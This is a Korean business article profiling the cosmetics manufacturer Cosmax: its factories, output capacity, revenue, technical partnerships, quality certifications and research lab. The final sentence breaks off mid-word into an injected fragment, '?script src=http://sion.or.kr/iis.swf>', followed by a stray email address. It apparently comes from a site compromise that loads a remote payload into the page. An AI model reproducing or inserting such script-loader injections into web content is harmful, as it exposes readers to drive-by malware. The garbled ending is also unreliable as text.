코스맥스가 우수한 기술력을 바탕으로 한국을 대표하는 화장품 연구·개발·생산 전문기업으로 입지를 굳히고 있다.
일류 연구진과 세계 선진 화장품수탁기업과의 기술교류를 통한 기술개발시스템으로 기술경쟁력을 갖추고 체계적인 시스템과 효율적인 생산체계로 가격 경쟁력을 확보하고 있는 것이다.
특히 고객사가 원하는 시기에 제품을 적기에 공급해 각 부문별로 비교우위를 점할 수 있는 시스템을 구축해 고객만족의 신뢰감을 구축하고 있다.
전직원들의 의식개혁에서부터 전 부문에 걸친 혁신운동과 안정적인 성장을 위한 토대 구축, 고객 서비스 향상, 생산성 증가 그리고 이익창출을 위한 전산화 노력에 역량을 집중시키고 있다.
코스맥스는 이러한 토대를 바탕으로 21세기 세계 일류 화장품 연구·개발·생산 전문기업으로 도약하고 있다.
연간 1억여개 제품생산 능력 보유
코스맥스는 지난해 6월 향남제약공단 내 대지 2천평 규모의 공장을 인수해 제 2공장을 확보했다. 1, 2 공장에 근무하는 전체 종업원수는 2백 30여명, 연구원은 40여명을 확보하고 있다. 또 기초제품 6천만개, 색조제품 4천만개, 기타제품 1천만개를 연간 생산할 수 있는 생산라인을 갖추고 있다.
지난 98년부터 3년간에 걸친 장기적인 계획을 단계적으로 수행하면서 경쟁력을 강화시킨 코스맥스는 지금도 R&D와 생산설비 증강에 총력을 기울이고 있다.
특히 올해는 제 2공장으로 연구소 등을 독립시켰으며 생산 및 제조설비 실험기기, 염모제 신규사업 등을 위해 20억원을 투자했다.
염모제 신규사업 부문은 이미 지난해 말에 일본 최고의 헤어케어 수탁개발 회사인 ITC사와 ‘기술제휴 조인식’을 가졌으며 제품 개발에도 성공해 내년 초쯤부터 본격적으로 제품을 생산할 계획이다.
또한 기술력 축적과 물적 인프라 구축, 경영의 효율성 등 체계적이고 조직적인 운영으로 8년여동안 꾸준하게 성장해 지난해 매출액 2백 50억원, 생산금액 4백 93억원을 달성했다.
이경수 사장은 “올해에는 반드시 OEM업계에서 각 부문별로 비교우위를 점할 수 있는 시스템을 마련하겠다”는 계획을 세우고 있다. 이와 함께 기업 이미지를 높이기 위해 고객사와의 신뢰성 확보가 최우선이라는 방침을 정하고 올해 하반기에는 코스닥 등록을 실현시킬 계획이다.
고객 제일주의, 품질 제일주의
코스맥스의 이 같은 성장은 하루아침에 이뤄진 것이 아니다. 코스맥스는 IMF로 경제가 어려울 때도 괄목한 성장을 보여 업계의 이목을 집중시킨 바 있다. 이는 고객 위주의 정책을 전개한다는 방침 아래 생산단가를 낮춰 가격고통을 분담하고 미니멈 생산수량제를 폐지하는 한편 납품기일을 철저히 준수했기 때문으로 분석된다.
코스맥스의 저력을 보여주는 것 중에 하나가 전 부문에 걸쳐 전개하고 있는 혁신운동이다. 의식개혁을 밑바탕에 둔 혁신운동으로 생산성과 품질 향상, 물류 시스템 개선을 점차적으로 진행하고 있는 것이다.
‘소비자의 최초 구매는 고객사의 마케팅력에 달렸지만 소비자의 재주문은 제품력에서 좌우된다’는 품질제일주의 원칙을 철저히 지키고 있는 코스맥스는 크림액류, 백분타류, 립스틱류, 특수화장품류 등 전제품이 CGMP 적합업체로 인정받음으로써 ‘최상의 질(Quality)’, ‘합리적인 가격(Cost)’, ‘적기 납품(Delevery)’ 체계를 완벽하게 실현하고 있다.
지난해 ERP(전산화시스템) 프로세스를 구축하고 효율적인 관리시스템으로 서비스를 강화하고 있으며 ISO-9001 인증을 통해 국제품질 경영으로 고객만족을 추구하고 있다.
코스맥스는 앞으로도 첨단화된 선진기술과 노하우로 고객이 원하는 사항을 완벽하게 충족시킬 계획이다.
중앙연구소 확장이전… 연구개발 집중투자
최근 코스맥스가 중앙연구소를 제 2공장으로 확장 이전한 것은 연구원들의 연구 개발 분위기를 고취시키고 보다 나은 기술로 대고객 서비스를 강화하고자 하는 목적으로 진행됐다.
현재 중앙연구소에는 약학, 화학, 미생물학 분야의 전문가들로 구성된 40여명의 연구진을 확보하고 있으며 일본 등 해외 기술고문 영입, 고기능성화장품 전문회사인 미국 나테라사, 헤어 및 스킨케어 제품에 뛰어난 일본 ITC사 등과 기술제휴를 하고 있다.
이를 통해 혁신처방, 첨단기술, 신제품 개발정보 등을 교환하고 한발 앞선 기술개발 시스템을 구축해 나가고 있다.
중앙연구소는 기초를 담당하는 연구 1실?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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